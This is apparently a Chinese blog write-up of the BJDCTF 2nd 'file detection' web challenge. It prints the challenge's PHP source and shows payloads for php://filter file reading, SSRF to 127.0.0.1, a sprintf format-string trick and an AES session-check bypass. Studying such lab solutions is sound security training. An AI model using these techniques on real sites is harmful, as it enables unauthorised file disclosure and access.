zoukankan      html  css  js  c++  java
  • [BJDCTF 2nd]文件探测

    进去,扫描后台或者在Header上面,提示了Hint: home.php,同时有个admin.php

    这里可以看到url:http://fc78d0cd-9e0e-4013-ac53-a5c9284762ad.node3.buuoj.cn/home.php?file=system

    访问的是system.php

    我们尝试访问一下flag.php 这里后面是有拼接的,所以我们直接访问flag

    url:http://fc78d0cd-9e0e-4013-ac53-a5c9284762ad.node3.buuoj.cn/home.php?file=flag

    被过滤了,其他的随便输一下。

    估计是拼接,我们这里可以用伪协议来读一下

    php://filter/read=convert.base64-encode/resource=home
    php://filter/read=convert.base64-encode/resource=system

    <?php
    
    setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
    setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);
    
    if(isset($_GET['file'])){
        if (preg_match("/^|~|&||/", $_GET['file'])) {
            die("forbidden");
        }
    
        if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
            die("not now!");
        }
    
        if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
            die("You! are! not! my! admin!");
        }
    
        if(preg_match("/^home$/i", $_GET['file'])){
            die("禁止套娃");
        }
    
        else{
            if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
                $file = $_GET['file'].".php";
            }
            else{
                $file = $_GET['file'].".fxxkyou!";
            }
            echo "现在访问的是 ".$file . "<br>";
            require $file;
        }
    } else {
        echo "<script>location.href='./home.php?file=system'</script>";
    }
    

    system

    <?php
    
    $filter1 = '/^http://127.0.0.1//i';
    $filter2 = '/.?f.?l.?a.?g.?/i';
    
    
    if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
        $url = $_POST['q2'].".y1ng.txt"; //拼接一个东西到url的最后
        $method = $_POST['q3'];
    
        $str1 = "~$ python fuck.py -u "".$url ."" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";
    
        echo $str1;
    
        if (!preg_match($filter1, $url) ){
            die($str2);
        }
        if (preg_match($filter2, $url)) {
            die($str3);
        }
        if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
            die($str4);
        }
        $detect = @file_get_contents($url, false);
        print(sprintf("$url method&content_size:$method%d", $detect));
    }
    
    ?>
    

    这里,访问要从127.0.0.1,我们想到,可以从127.0.0.1去读admin.php

    关于url拼接的,可以在让那个拼接到一个参数上面,比如我们访问admin.php?a=1,拼接后就变成了admin.php?a=1.ying.txt,不影响地址
    print(sprintf("$url method&content_size:$method%d", $detect));

    对于%d可以发现代码中的$method和%d是连起来的:
    print(sprintf("$url method&content_size:$method%d", $detect));
    另外sprintf()有格式化字符串漏洞,如果传进去%s就能往出格东西,正好这个$method没有对结尾进行判断,所以可以用GET%s来格式化。但是提交一下发现啥也没有:
    问题就出现在了这个GET%s%d上,导致了sprintf()出错,所以还需要把%d转义掉,对于sprintf()函数,对百分号的转义是用2个%而不是反斜线,这点和C的printf()一样。
    提交:GET%s%

    建议搜索 sprintf格式化字符串漏洞

    admin.php:

    <?php
    error_reporting(0);
    session_start();
    $f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake
    
    function aesEn($data, $key)
    {
        $method = 'AES-128-CBC';
        $iv = md5($_SERVER['REMOTE_ADDR'],true);
        return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
    }
    
    function Check()
    {
        if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
            return true;
        else
            return false;
    }
    
    if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
        highlight_file(__FILE__);
    } else {
        echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>";
    }
    
    
    $_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
    
    if (isset($_GET['decrypt'])) {
        $decr = $_GET['decrypt'];
        if (Check()){
            $data = $_SESSION['secret'];
            include 'flag_2sln2ndln2klnlksnf.php';
            $cipher = aesEn($data, 'y1ng');
            if ($decr === $cipher){
                echo WHAT_YOU_WANT;
            } else {
                die('爬');
            }
        } else{
            header('Location: index.php');
        }
    } else {
        //I heard you can break PHP mt_rand seed
        mt_srand(rand(0,9999999));
        $length = mt_rand(40,80);
        $_SESSION['secret'] = bin2hex(random_bytes($length));
    }
    

    这里的重点在加密函数以及后面的相等:

    function aesEn($data, $key)
    {
        $method = 'AES-128-CBC';
        $iv = md5($_SERVER['REMOTE_ADDR'],true);
        return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
    }
    
    if (isset($_GET['decrypt'])) {
        $decr = $_GET['decrypt'];
        if (Check()){
            $data = $_SESSION['secret'];
            include 'flag_2sln2ndln2klnlksnf.php';
            $cipher = aesEn($data, 'y1ng');
            if ($decr === $cipher){
                echo WHAT_YOU_WANT;
            } else {
                die('爬');
            }
    

    这里,我们只要把要加密的参数 $data = $_SESSION['secret'];删掉,那么$cipher = aesEn($data, 'y1ng');就变成了$cipher = aesEn('', 'y1ng')
    我们完全可以用他的函数跑出来。

    本地跑出来以后,提交,是不行的。但是我这有一个预期外的,我换了一个浏览器,flag就直接出来了,是不是因为另外一个浏览器里面没有提前设置的session。

  • 相关阅读:
    ubuntu 安装nodejs
    在VMware下安装CentOS 7.6
    ogg基础知识整理
    Server2012多用户远程桌面及问题解决记录
    win10中批量新建文件夹
    word中去除所有table键
    PLSQL无法连接(不存在或找不到oci.dll)
    Oracle客户端安装及下载地址
    PLSQL官网下载地址
    问题解决:xampp中phpmyadmin“无法连接:无效的设置”
  • 原文地址:https://www.cnblogs.com/vstar-o/p/13474866.html
Copyright © 2011-2022 走看看